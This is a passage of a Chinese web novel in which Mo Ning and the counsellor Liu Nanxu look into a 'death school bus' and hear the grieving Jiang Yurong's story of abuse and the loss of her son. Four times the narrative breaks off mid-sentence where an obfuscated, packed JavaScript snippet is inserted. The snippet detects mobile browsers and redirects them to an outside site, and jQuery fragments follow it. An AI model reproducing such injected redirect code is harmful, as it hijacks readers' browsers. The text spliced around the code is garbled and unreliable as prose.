“真的呀!”莫宁微微弯腰随意地在奶奶的手机屏幕上滑动,几乎算是在密密麻麻的文字里一眼就找到了“太阳花幼儿园”,然后翻到最顶端记好标题后才收回了手。
奶奶没有察觉到什么,低头在手机上不停地按着“退出键”,得意地说:“我一把年纪还能骗你个小姑娘不成。”
“那我回家就和我表姐说说,让她再考虑考虑,不过奶奶,”莫宁迟疑地开口,显得不好意思,又问,“我家离得有点远,还是村里面的,土路坑坑洼洼的,校车会去吗?”
奶奶摆摆手,让莫宁放心,讲:“这点根本不用担心,你只要交了乘坐校车的申请书,时间啊,路线啊,还有别的什么,学校都会安排好的。”
说话的这点功夫,距离放学已经不剩几分钟了,莫宁抓紧时间询问:“那您知道校车接送学生的时间段吗?我怕时间太早我表姐早上起不来。”
奶奶和莫宁搭话本来就是为了打发时间,现在临近放学,注意力迅速转移到校门上,草草回答道:“学校有个公众号,你的这些顾虑里面都提到过,你搜一下看看就清楚了。”
旁边站着的大哥开口纠正:“没有了,学校早就不对外公开校车的事件和路线了。”
莫宁把头转向大哥,问:“为什么?”
大哥没看莫宁,注意力也都在学校里面,随口说:“我哪儿知道。”
这时,幼儿园的校门打开了,焦急等待的家长纷纷往前走了几步,刚才说话的奶奶更是努力往前挪动,还要时不时注意一下自己的小推车,避免买的蔬菜被挤烂。
莫宁扬声说道:“好的好的,谢谢您二位了。”
说完之后,莫宁本想悄无声息地退出人群,然后迅速离开,没想到刚退到最外圈,还没有来得及转身,突然被人从后面抓住了手腕。
手掌不算很大,但冰凉、粗糙。
莫宁认为自己谈论的话题应该不会这么快引起家长的怀疑,更何况并不是她主动找那位奶奶说话的,于是不明所以地扭头看去。
是一位陌生的阿姨,沧桑的面容使得她整个人很憔悴,头上黑色的发丝中夹裹着白发,但是皮肤松弛得并不怎么明显,年龄应该在三十五岁左右。
阿姨的手劲儿很大,莫宁忍受着手腕处的疼痛,问:“不好意思,我们认识吗?”
阿姨用同样想知道答案的表情问:“我们认识不认识?”
莫宁一阵无语,还没开口,阿姨再次开口说话了,道:“不认识。”
“既然这样,那您为什么要抓住我呢?”说话的时候莫宁不断在挣扎,可惜没能挣脱。
阿姨又迅速否认掉刚给出的答案,重新回答:“认识。”
因为现在到了放学的时间,周遭变得乱哄哄的,前面的家长还都在往学校里面瞅,根本没有人注意到最后面的情况。
莫宁被抓住的时候就想过靠大喊大叫吸引大家的注意力寻求帮助,但是记得不能被人记住脸,不然会不利于接下来的行动,所以只能思考别的办法。
“阿姨,先不管我们认不认识,请问您找我是有什么事吗?”
这个问题一丢出来,阿姨整个人瞬间慌了,她放开莫宁的手腕,改为抓住她的肩膀,低着头喃喃自语。
“我忘了,可是我找你确实有事,刚才还记得的,怎么要说的时候就给忘了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187530|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呢?姑娘,你别急,让我想想,让我好好想想,你别害怕,你别害怕,你别害怕……”
莫宁在听到阿姨说第一句“你别害怕”的时候还有心思开玩笑,心想:你这样我真的很难不害怕。
可是很快她就注意到,阿姨在思考的过程中一直在念叨“你别害怕”,这让她觉得很奇怪,只是不知道该如何准确地形容出心里的感觉。
跑了一趟的校车回来了,停在路边先按了两声喇叭提醒人群。
在喇叭声响起的刹那,阿姨迅速从走神的状态抽离出来,同时也松开了莫宁,让出路站在最边上看着校车。
保安走过来维持秩序,最后带队的老师领着小朋友有秩序地上到校车里面,系好安全带出发回家。
整个过程井然有序,没有出现一点纰漏。
莫宁被松开后本想要趁机离开,然后看见阿姨追着校车小跑了几十步,然后转过身望向太阳花幼儿园,最后迷茫地望向她。
莫宁对上阿姨的视线,心想:看来不认识也要认识一下了。
阿姨像是精神好转了些,没再上前抓住莫宁,所以这一次,莫宁主动走向了她。
“阿姨,我叫莫宁,请问您怎么称呼?”
阿姨看着莫宁伸向自己的右手愣了愣,她已经记不清自己有多久没被人这样尊重过了。
“我叫,叫……”阿姨扶着太阳穴想了想才记起自己的名字,“叫江玉蓉。”
江玉蓉只是报了自己的名字,没有再去碰莫宁的手。
莫宁放下手,也不觉得尴尬,说:“江阿姨,我记得一家奶茶店,不如我们去那里聊聊吧?”
江玉蓉的样子,大概率不是来接孩子的,那她是来干什么的?
莫宁直觉觉得会和死亡校车有关。
江玉蓉没有拒绝也没有答应,只是盯着莫宁处于沉默的状态。
见状,莫宁先抬脚往前走。果然,江玉蓉很快跟了上来。
来的这家奶茶店就在心理咨询工作室隔壁的隔壁,两人到的时候门口排着队伍,根本进不去。
莫宁不好意思地对身后的人说:“江阿姨,实在抱歉啊!我忘记一到放学这个时间段奶茶店就生意火爆。”
江玉蓉被莫宁的话惊得向后退了两步,说:“没事没事。”
莫宁没想到江玉蓉会这么大的反应,刚想要让她不用这么紧张,排在江玉蓉身后的小伙子倒是发脾气了。
“你长没长眼睛?踩到我了。”
江玉蓉连忙转身,状态更加紧张了,说:“对不起,我这真的没注意到。”
小伙子冷哼一声,说:“一句对不起就完了?我瞅你精神不怎么正常,这样还敢出门?”
莫宁看过去,小伙子穿着打扮很扎眼,染着绿头发,这么热的天,上面皮衣,下面皮裤,皮裤短了一截,露着脚脖子,脚上套着一双低帮帆布鞋,左边的耳朵上戴着三枚耳钉,嘴里面嚼着口香糖。
莫宁拽着江玉蓉和自己换了一个位置,然后毫不留情骂了回去:“人家怎么样关你屁事?我看你才精神不正常,精神最不正常的就是你。”
20. 第二十章
小伙子用口香糖吹了一个泡泡,不屑地说:“还真不是一家人不进一家门,是她先踩到我了,我有资格生气,骂她一句怎么了?”
“你急着狡辩什么?”莫宁比小伙子还要不屑,“你吵到我的耳朵了,我同样有资格生气,同样有资格骂你。”
小伙子被莫宁的话堵得哑口无言,指着不远处的门店,说:“你们两个都精神不正常,就应该去旁边的那家店做做心理咨询,早点当个正常人。”
江玉蓉怯弱弱地往门店上看了一眼,随即哆嗦了一下,情绪更加不稳定了。
莫宁倒没什么事,侧身轻拍江玉蓉的后背做安抚状,嘴上没饶了小伙子,不甘示弱地嘲讽:“你先别操心旁人了,你先去那家店看看吧,记得报我的名字,肯定会给你打十折。”
“你你……”小伙子气急败坏,悄悄扭头往身后看过去。
几个和小伙子同样打扮的人骑着电瓶车等在人行道上,对上视线后纷纷不耐烦地按响喇叭。
长达半分钟的喇叭声让不少行人皱眉寻找声源,然而路边的那些人却仿若和自己无关,抬起胳膊和小伙子打招呼,扬声催促:“一个小丫头都吵不赢,你行不行啊!搞快点,别墨迹。”
趁着小伙子的注意力被引走,江玉蓉拽了拽莫宁的衣角,小声道:“我们走吧!”
现在已经引起了不少人围观,有人还掏出手机在拍摄,莫宁没想到事情会变成这样,点点头,说:“好。”
小伙子的年纪不大,正处于叛逆期,干什么都要面子,被同伴的话一刺激,更加不愿意把事儿轻易算了。
见人要走,迈了一步把她们拦下,趾高气扬问:“想走?我让你们走了吗?踩我一脚怎么补偿我?”
莫宁觉得这小孩儿真是碍事,自己叛逆期也不见像他这样得理不饶人,刚准备吃了这个闷亏,大不了花钱把事情尽快解决好,没想到柳南絮过来了。
柳南絮还没到跟前就听到了小伙子说的话,站定后直接问:“所以你想怎么样?”
小伙子没想到会有人站出来帮莫宁,一时间心里也有点犯怵,上上下下打量了一下柳南絮,确定要是动手自己毫无胜算,但依旧努力地撑面子。
“她踩到了我的脚,我脚疼得要命。”
柳南絮并没有顺着小伙子手指的方向看江玉蓉,而是往人行道上看了一眼,把视线移回来后冷着声音给出解决办法。
“请你七杯奶茶,轮到你点单了。”
小伙子环顾一下周围,陌生人的窃窃私语和异样的眼光让他有些天旋地转,干巴巴地吞了一口唾沫,低头让视线掉到自己的鞋子上。
左脚的帆布鞋上,有一个不太明显的鞋印。
“不,不用……”
小伙子的话还没说完,不知道什么时候过来的同伴拍拍他的肩,抢过话对柳南絮笑嘻嘻地说:“我去帮他点单,我是他兄弟,知道他喜欢喝哪几款奶茶。”
小伙子的眼神追随着刚才的同伴移动,愣愣地想:兄弟?
时不时还有微风刮过,小伙子在听到同伴的话后却觉得自己正身处烈火旁边。
他记得今天逃学出来是为了给朋友们炫耀新买的手机,之后就被他们嚷嚷着要自己请客喝奶茶,他的零花钱并不多,本来是想拒绝的,可是一想到自己才加入他们没几天,拒绝的话绕了一圈变成大大方方点头。
去点单的同伴拿着小票过来了,先看看柳南絮,再看看莫宁,最后选中了江玉蓉,把小票和收款码一并递过去,说:“哎!这位阿姨,我看是你踩我兄弟的吧?这小票……”
莫宁掏出手机,解锁问:“多少?”
小伙子的同伴见莫宁不看小票,立马把盖在收款码上的小票攥到另一只手里,回答:“一百二十块钱。”
“不是我说请的吗?为什么不找我要钱?”柳南絮拦下莫宁,然后对那人伸出手,不客气地说,“小票给我看看。”
小伙子的同伴想开口扯皮,可实在害怕柳南絮,只好心虚地把小票递过去。
柳南絮展开小票,看清上面的数字,用很平静地语气质问:“一百一十二说成一百二十,差的那几块钱是你这个中间商赚的差价,还是你的跑腿费?”
被拆穿,小伙子的同伴硬着头皮说:“这不是四舍五入,往前进一位嘛!而且,我们都还是未成年,你一个大人,也不差这几块钱。”
这话越听越觉得恶心,周围人议论的声音更大了。
“未成年,大人,几块钱。”柳南絮看着人说完,像是放过他似的,转而问小伙子,“你呢?认同他说的话吗?”
小伙子手都在哆嗦,看看同伴,再看看柳南絮,一时间不知道该怎么回答。
对他来说,这不是给出个答案那么简单,而是站队。
如果不认同,怕是会没朋友。
如果认同,如果认同……
小伙子其实并没有想怎么刁难江玉蓉和莫宁,不知道是不是内心在捣乱,一时没管好自己的嘴,导致小事变大。
在内心挣扎了很久,小伙子还是没办法认同同伴说的话,只是他没办法说出来。
柳南絮没有非要小伙子回答,掏出手机解锁把钱转了过去。
一百一十二块钱,一分不多,一分不少。
事情算过去后,莫宁带着江玉蓉进了心理咨询工作室,两人坐在柳南絮的办公室歇脚。
柳南絮见江玉蓉看自己的眼神很紧张,就出去了,把地方留给莫宁和她单独聊天。
“江阿姨,实在对不起啊!都怪我把事情搞砸了,说好请你喝奶茶,结果只剩下……”莫宁举举手里面的水杯,示意,“白开水了。”
“不是你的错,是我,是我的问题。”江玉蓉一直没抬起头,也没有触碰过杯子。
莫宁见状,刚想要开玩笑,说什么江阿姨不觉得我做事不靠谱就行,以此来缓解缓解面前人的紧张,没想到江玉蓉往下说的话让她微皱了一下眉。
“一定是我把霉运传给了你,要是我没在太阳花幼儿园校门前看到你,事情就不会变成这样了,都怪我,我,我,害人精说的就是我。”
莫宁觉得这话说的很奇怪,问:“江阿姨,您为什么会这么说呢?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187531|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>江玉蓉的手上有很多裂开的小口子,应该是冻的,她像是没什么感觉,不停地搓着手,用陈述事实的语气说:“我妨碍了前夫的事业,害死了自己的儿子,还没本事,什么都做不好,总是惹前婆婆生气,就是扫把星。”
莫宁总算是知道江玉蓉为什么会这么局促了,她身上的卑微是由内而外的,如果她表现出来的样子就这么强烈,那她心中的自卑感只会更重。
“江阿姨,这些都只是您自己的想法,我觉得您很伟大,是一位很好的妻子,也是一位很好的儿媳。”
莫宁没有提“妈妈”这个身份,她怕江玉蓉回忆起伤心事变得更加崩溃,但是关于江玉蓉去世的儿子,她肯定还是会找准机会问清楚的,不过不是现在。
江玉蓉听了莫宁的话,疯狂摇头,后脑勺上的马尾辫都往下掉了不少。
“不是,我不是,我前婆婆认为我是扫把星,所以前夫才和我离了婚,我也不敢回娘家,只能一个人住。”
莫宁的父母是相亲认识的,结婚后也没有婆媳矛盾,家里面一直平平淡淡的,最大的变故就是莫宁因为能看见死亡校车状态变糟的时候,所以莫宁不太会处理这方面的话题。
绞尽脑汁想了一会儿,只能说:“我觉得您很亲切,就像我妈妈一样,只是我来这里实习打工,已经很久没回家了,所以可以和我讲讲您平时都干什么吗?我还挺喜欢听您说话的。”
江玉蓉抬头看向莫宁,就像是一位母亲在心疼地看着自己的孩子,可是又无能为力。
莫宁慢慢挪了挪椅子,离江玉蓉更近一些,任由她看自己。
两人在办公室一聊就聊到将近六点,下一楼的时候柳南絮正在沙发上看书,整个人显得有点无聊。
见人下来,柳南絮旁边坐着的绿毛动作比他还快,站起身冲着江玉蓉就呈九十度鞠了一躬,鞋底在地板上一挪,又冲向了莫宁。
江玉蓉在小伙子站起来的时候就猛地顿住脚步,眼神中满是疑惑:“这,这……”
莫宁比她的反应好些,用眼神询问柳南絮是个什么情况。
柳南絮翻了一页书,别说回应了,就连眼神都没往这边放。
现在的月份相对来说天黑得的还算早,过了六点天色就开始渐渐变暗了。李乐伸手打开心理咨询工作室的灯,黑暗瞬间被驱走,屋里面变成白天的样子。
绿毛还是奶茶店前遇到的那个小伙子,当时柳南絮、莫宁、江玉蓉离开后,他被同伴们揽着肩膀称兄道弟,说是谢谢他请客喝奶茶,还说从今以后受了欺负和大家伙儿说。
五辆电动车在街头巷尾如同没头苍蝇乱窜,马路上汽车的鸣笛声和行人嫌弃的怒骂都没教会他们遵守交通规则。
坐在后座的同伴喝着奶茶,扬声呼喊着小伙子的名字,前面骑电动车的同伴更是嚣张得单手骑车,另一只手拿着奶茶喝得畅快。
小伙子倒是没喝,他在一声声吹捧中安安分分地骑车,属于他的那杯奶茶一直挂在车把手上。
直到经过临平市第一高级中学的学校门口,小伙子听到上课铃声时心脏漏了一拍。
21. 第二十一章
他刹住车,遥遥望向教学楼,一间间明亮的教室让他触动,随即听到一声咆哮。
“刘浩,回来。”
被喊刘浩的绿毛小伙子知道自己应该停下,但这是他第一次逃学,心里面本来就很害怕,又被骑出去大老远的同伴招呼快点。
刘浩情急之下把车把拧到底,只是他没有跟上同伴,而是往和他们相反的方向骑去,一直到了心理咨询工作室才停下。
那些嚣张的同伴没有一个跟过来,学校年级主任倒是一路咆哮着追来。
电动车刚扎稳,刘浩就被教导主任揪住了耳朵,急忙忙指向玻璃门内正在看书的柳南絮,说:“老师,我找个人,等下就跟您回去。”
年级主任没往心理咨询工作室里面瞅,只认为刘浩是又有了什么鬼主意,所以不肯松手。
柳南絮听到动静出来,说:“丁叔,你好!”
柳南絮之前高中也是在临平市第一高级中学上的,再加上许静在那里工作的原因,学校的老师都还记得柳南絮。
刘浩没想到学校的年级主任会和柳南絮认识,心不由得往上提了提,直到听见柳南絮表示要和他说话。
年级主任回去后,刘浩就跟在柳南絮身后进了心理咨询工作室,聊天的过程几乎都是刘浩在说,柳南絮只负责听,偶尔会问一些引导性的问题。
刘浩坦白交代,自从上了高中,自己整个人就变得浮躁起来,上课听不进去,一天到晚只想着怎么疯玩,他羡慕校外成群结队的社会人,嫉妒家庭富裕的同学,所以用吹嘘和炫耀来维护少年阶段所谓的面子。
一天夜里,他因为想玩游戏撕碎了试卷,人生中第一次没有交作业,人生中第一次被叫到办公室是因为做错事,人生中第一次被罚站。
刘浩站在教室后面,身后是励志的黑板报,前面的黑板上是复杂的公式。站着站着,他突然发现,仅仅是撕碎了一张不值一提的试卷,就体会到了这么多“人生中第一次”,原来自己还有那么多事没有尝试过。
叛逆的种子埋在骨子里,被放纵的血液浇灌着一天比一天茁壮。
刘浩用自以为“青春年少”的方式跌落了成绩,一次次地上了学校通报栏。当看见父母在背后不知道和老师说了多少好话的时候,他终于想救救自己了。
于是便买了习题册和资料书想把落下的功课补上,只是耳朵里面的世界太过喧闹,浮躁的心脏根本无法实现所想的平静。
他失败了,再尝试,依旧失败,再尝试,依旧失败……
所以他干脆妥协了,屈服在父母冲他怒吼的那句“烂泥扶不上墙”中。
听到这里,柳南絮开口了,问:“你认为你自己烂泥扶不上墙吗?”
现在这个时间点,在学校只要抬头,不论是在教室还是在操场,准能看见红霞烧满天,但是在这里,刘浩看不见,他摇摇头,苦恼地说:“我之前的成绩还行,我也不想这样,只是实在不知道该怎么办了。”
柳南絮察觉到刘浩相当懂得谦虚,毕竟能考上临平市第一高级中学,学习成绩已经不止“还行”了,问:“你要是一直往前骑,年级主任根本追不到,你为什么选择来这里?”
“我还是心里面故意不去,见你们三个进了这家店,想着过来……”刘浩停了停,才小声地把话补全,“道歉。”
“你来得很巧,她们还没有离开,先坐着等等吧!”柳南絮说完起身接了杯水递给刘浩,还指了指卫生间,说,“如果想洗脸可以去。”
刘浩点点头,接过水,但是没有动。
小伙子不说话,柳南絮便拿起书坐下继续往后看。
在柳南絮眼里,刘浩其实还算是个好孩子。
他会因为不想父母为自己犯的错擦屁股尝试改过自新,会因为被父母说烂泥扶不上墙感到难过,还有敢于承认错误,这些都暗示着刘浩还有救。
奶茶店门前一件小事之所以能演变成那样,多半是因为同伴在看着,要面子,一时嘴快,没控制好情绪。
青春期的孩子面临这些困惑很正常,但柳南絮并不是因为正常才不提供帮助的。
相同的事情放在不同的人身上会得出不同的结果,中间的过程更是如此,有些人需要别人手把手教才能扛过去,有些人只需要鼓励就能顺利通关。
正是因为人与人之间存在差异性,所以每个人才显得独一无二。
教育,更需要因材施教。
柳南絮在奶茶店门前的时候观察过刘浩,当时就觉得他不会一直疯混下去,所以才故意压着脚步回到心理咨询工作室里,那是在给他找过来的机会。
果然,人来了。
听刘浩描述的时候柳南絮确定了,这孩子什么道理都懂,自己再多说不过是废话,还显得自己这个人啰嗦,负责地当好一个听众反倒更恰当。
临到结束的时候,刘浩表示不知道该怎么办了,但是说话的时候眼睛在看外面的天空。
柳南絮看了他的眼睛,认为现在不需要别人的帮助,这孩子自己就能找回方向,如果需要帮助,他很大机率会再来主动开口,更何况愿意帮助他的人还有学校的老师们。
两个人坐着等莫宁和江玉蓉,李乐全程把脑袋埋在电脑后面都不敢抬头,努力降低自己的存在感,生怕打扰到他们,直到听见楼梯处传来动静才敢把头直起来。
刘浩道完歉直起腰,发现自己吓到了江玉蓉,忙解释道:“阿姨,之前是我太冲动了,本来没什么事,是我把小事闹大了,对不起。”
江玉蓉下意识说:“没事没事,是我先踩到你的,我有错在先。”
快到六点半的时候,该回家的回家,该回学校的回学校,心理咨询工作室落了锁。
莫宁提出想要送江玉蓉回家,被江玉蓉婉拒了,原因是住的地方很近,不麻烦了。
柳南絮倒没说要送刘浩什么的,因为那样听起来就像是对他不放心,觉得他会逃跑一样,刘浩也没要求,骑上电动车赶往学校。
最后,柳南絮找了家小饭馆带莫宁吃好晚饭,两人一蹲一站地呆在人行道边上。
夜里气温降低,比白天要凉些。
柳南絮用脚尖点点地,道:“有什么话去车里说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187532|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
莫宁巴巴跟着坐到了车里,身上回暖后,人也从郁闷中脱离出来,好奇地问:“你为什么会知道我们在奶茶店门口?”
柳南絮淡淡地回:“李乐和我说的。”
李乐追的电视剧看完了,那个时候也没人进店,在前台呆得无聊,到外面透气看见不远处的热闹,没有思考就用前台的电话喊柳南絮过去英雄救美。
莫宁心想:也对。
想完随后就听见柳南絮开始算账了,问:“你的名字,十折?”
莫宁打着哈哈,狡辩道:“那不是瞎说的嘛!和人吵架避免不了瞎说的。”
柳南絮冷冷地丢出一个“呵”,像是算了般提到重点。
“整件事情的经过打不打算瞒我?还是老样子,想说什么告诉我什么,你说什么我信什么。”
柳南絮说得那样无所谓,倒是显得莫宁不主动交代成小气鬼了。
莫宁怀疑这人是在找茬,说:“哎你!我本来就没打算瞒你。”
柳南絮比莫宁同他分享万寿园线索的时候还要乐,故意问:“这么大方吗?”
莫宁没说是因为合作关系,说:“当是你替我解围的回礼。”
莫宁讲到江玉蓉出场的时候,柳南絮的眉头皱了皱,掏出软皮本子翻一页新的,在最上面写下“江玉蓉”三个字,往下把莫宁描述的关键字眼全都写上。
“我本来以为她三十五岁左右了,所以才喊她‘江阿姨’,直到在你办公室的时候,她告诉我她今年二十九岁。”莫宁叹了口气,“我应该喊姐姐的,你说她也不纠正我,知道她的年纪后我尴尬死了。”
柳南絮根据江玉蓉的外貌简单分析了一下,猜测道:“她应该是常年生活在不平等的对待中,所以害怕,不敢为自己争辩什么。”
莫宁露出激动的神情,憋着一股气把江玉蓉在办公室里面说的话全都讲了一遍。
江玉蓉在大学期间有了初恋,是大她两届的学长,在她二十岁的时候两人领了结婚证,身边的朋友都说初恋修成正果很难得,纷纷替新人高兴,只有她自己知道这份感情背后是多么巨大的深渊。
由于是远嫁,结婚当天,江玉蓉的娘家父母没来,只有大几岁的哥哥匆匆赶来撑场面。
婚礼一结束,江玉蓉的前婆婆就开始催促她备孕,还一个劲叮嘱要男孩儿。前夫刚开始听了还会回一句嘴,说男孩、女孩都一样,可是没几次后就不再回了,到后面每每还会跟着他妈附和。
前婆婆着急要大胖孙子,不允许江玉蓉出去工作,硬要她在家当一个全职太太。
江玉蓉刚开始不愿意,据理力争,直到前夫对她吐露说:“我在外面工作那么累,你要是不在家收拾打理,我回到家连个舒适的环境都没有,那哪儿是回家休息,分明是换一个地方受累。”
江玉蓉是真心喜欢前夫,所以才不顾父母反对远嫁过来,听到前夫那样说,立马心软同意了。
留在家里,生活圈子迅速缩小,所能接触到的人来来回回就那么一些。更何况,前婆婆的要求颇高,江玉蓉也没多少机会出门。
22. 第二十二章
时间久了,江玉蓉居然也开始盼望着怀孕,生一个男孩儿陪着自己。
结婚不到一年,江玉蓉顺利怀孕,心想事成生下一个小男孩。
她以为从此以后生活会慢慢变好,怀着对未来的憧憬和希望出了医院,没想到再次迈进了名叫“家庭”的牢笼,而这一次,困住她的还有她以为的新生。
“妈妈”这个身份压得江玉蓉几近崩溃,可是每当她要发泄的时候,就会遭受到前夫和前婆婆的白眼,认为她娇气,认为她做作,认为她不配当妈。
身边的人全都这样说,于是,江玉蓉认了。
可是,她的身边的人不过只有前夫和前婆婆,还有一个尚在襁褓中的婴儿。
深陷抑郁中,江玉蓉没有注意到那些句句往她心口捅的话是不对的,她选择了压抑自己的情绪。
洗衣做饭,打扫卫生,日用品采买,孩子教育……江玉蓉沉浸在日复一日的劳累中,哄骗自己过得很幸福,至于前夫情绪上的发泄、前婆婆百般的刁难,都被她用一句“为了我好”的心理暗示浅浅带过。
从这样的日子中趟过,江玉蓉的皮肤很快松弛,容貌不再,冰凉的双手上布满了口子,记忆力也大不如从前,哪怕身上有了病痛也根本不敢到医院检查,因为肯定会是一笔不小的开销,因为家里的账单上根本不会专门留出一笔用来给她治病。
时间长了,江玉蓉反倒时常庆幸拥有那些证明自己努力活着的痛苦。
在日复一日乏味的生活中,她最欣慰的就是自己儿子每天都很健康,直到……
直到一场巨大的变故骤然降临。
前婆婆要江玉蓉在家打扫卫生,自己带着三岁的小孙子到小区楼下玩,小孩子走到花坛边上时没走稳不小心摔到了上面。
由于受到惯力,小孩子的脖子被贴在外侧的瓷片割破。
这个既是折磨,又是希望的新生就这样猝不及防地从江玉蓉生命里离开了。
得了消息后,江玉蓉还没有从悲伤中回过神来,便被前婆婆一通数落,责备她克死了小孙子,还说她没本事,妨碍前夫工作上的晋升。
那个时候江玉蓉感觉出了自己的精神状态不对,没过几天,面前多出一份离婚协议书,耳边响着前婆婆的威胁,她只觉得好累,便签了。
带着几件衣物,拖着劳累的身体,江玉蓉到了车站,听着里面的广播,却不知道该去哪里。她不想让父母担心,也怕回去之后还是一通数落。
站了好久好久,江玉蓉走出了车站,选择继续留在临平市,起码她儿子埋葬在这里。
多年几乎脱离社会,精神状态还不怎么好,江玉蓉选择工作的机会少到一个巴掌就能数完。好在,她得到了一个在超市当售货员的机会,工资不高,但是勉强够让她活着。
江玉蓉说到这里的时候,对莫宁说,她其实不想活,但是也不知道为什么还是活到了现在。
莫宁听的时候就替江玉蓉委屈,现在自己讲了一遍更加难受。她想不通自己一个外人复述那些事都想落泪,江玉蓉这个经历者为什么会讲的那么平淡,那模样看起来像是真实发生的一切通通和她没有关系般。
柳南絮在软皮本子上写下江玉蓉儿子去世的原因,又确定了一遍,问:“江玉蓉说她儿子是因为被花坛外侧的瓷片割伤了脖子?”
“对,而且当时不是她带的孩子,是她前婆婆,本来就承受着丧子之痛,最后还被反咬一口。”莫宁重重地呼出一口气,用手掌扇着风,一时怒气上头。
柳南絮把去世原因着重圈了一下,点点头,问:“还有吗?”
“还能有什么?”莫宁放下手,说,“没了。”
柳南絮合起软皮本子,提醒道:“她就没说为什么会跑到太阳花幼儿园校门前抓住你?”
莫宁一拍脑袋,懊恼地说:“对呀!我这脑子,也忘了问。”
柳南絮看了一眼莫宁刚才抬手拍的位置,揶揄道:“别打了,本来就够傻了。”
随即不紧不慢地抢在莫宁开口之前又说:“听你的描述,在今天之前,确切点来说,在太阳花幼儿园校门前遇到之前,你应该是不认识江玉蓉的,你问她的时候,她先说了‘不认识’,但很快又说了‘认识’。”
莫宁点点头:“是的!”
柳南絮问道:“你觉不觉得,这种情况,和之前我们在太阳花幼儿园校门前遇到的时候很像?”
莫宁惊喜了一下,还真有点像。
柳南絮继续说:“只是你很确定你认识我,江玉蓉却无法肯定和你认识,要么是她认错了人,要么是你的记忆有缺失的部分。”
莫宁抓抓头发,想说自己确定什么都没有忘,但是对着柳南絮说这种话,好像没什么说服力,毕竟柳南絮到现在还没记起和自己小时候的那些事。
于是她弱弱地问:“难道我们认识,只是我忘了?”
柳南絮看了莫宁一眼,又打开软皮本子,在上面写下“认识”和“不认识”,一个一个地分析。
“如果江玉蓉确实认识你,有几个疑点,首先,她为什么会知道你在那里?是碰巧遇到,还是……”柳南絮回想起江玉蓉的精神状态,片刻才接着往下说,“早就在哪里等着了?”
“其次,为什么她的前后回答不一致?”
柳南絮说着又写下“认错人”这种可能性,说:“虽然她的精神状态不太好,但还是有辨别能力的,如果是这种情况,根本不会有后面的事。”
莫宁懂了,说:“这个可能性几乎为零。”
柳南絮点点头,在“认错人”后面打了一个叉,把笔尖上挪,继续分析“认识”这个可能性。
“还有,她和你讲的事情里,就算都是家事,聊了那么长时间也不应该一句和你相关的话都没有提及。”
莫宁眼睛一亮,说:“好像是这样,我和朋友如果长时间没见面,等到再见面聊天的时候难免不会说一句‘你记不记得我们那个时候’怎么样怎么样的,而且,她对我太客气了,熟人面前,我就算状态不好也不会这样。”
柳南絮想到什么,追问:“如果不熟,只是认识或者只是见过几面的人面前呢?”
莫宁摇摇头,说:“那我也不会客气成
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187533|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她那个样子,太过了。”
“这个应该不算是重点,毕竟咱俩没办法代表所有人,说不准江玉蓉就是那么客气的性子。”柳南絮看着下一种可能性,找出问题,“如果你们确实不认识,那就要弄清楚她为什么会找你了。”
莫宁在柳南絮话音落下之后提起下午见到江玉蓉的时候。
“当时被江姐抓住后,听到她让我别害怕,我心里有种说不出来的感觉,总觉得她不太像是在让我不要害怕她,更像是让我不要害怕别的什么,但是我又不清楚具体是什么,后来看见她追校车,眼神迷茫,状态清醒又无措,我几乎断定她和死亡校车有关系,所以才和她套近乎打听。”
柳南絮耐心地听着,说:“嗯,继续。”
莫宁看着他,不太确定地开口:“听你分析了那么多,我在想,有没有一种可能,是我太敏感了?是我太想弄清楚死亡校车,所以看到一点蛛丝马迹就在心里无限放大,会不会中间根本没有那么多疑点,江姐只是碰巧路过,见到我觉得眼熟抓住了我,我多心就邀请她聊天,她不好意思拒绝,所以只能跟着我。”
莫宁提出的这种可能性确实存在,柳南絮也说不上来自己到底希望江玉蓉和死亡校车有关系,还是不希望有关系。
从大义层面讲,肯定是不希望的,毕竟就算正在经历丧子之痛,也好过哪天突然得知原来一直以来,自己连儿子去世的真正原因都不知道。
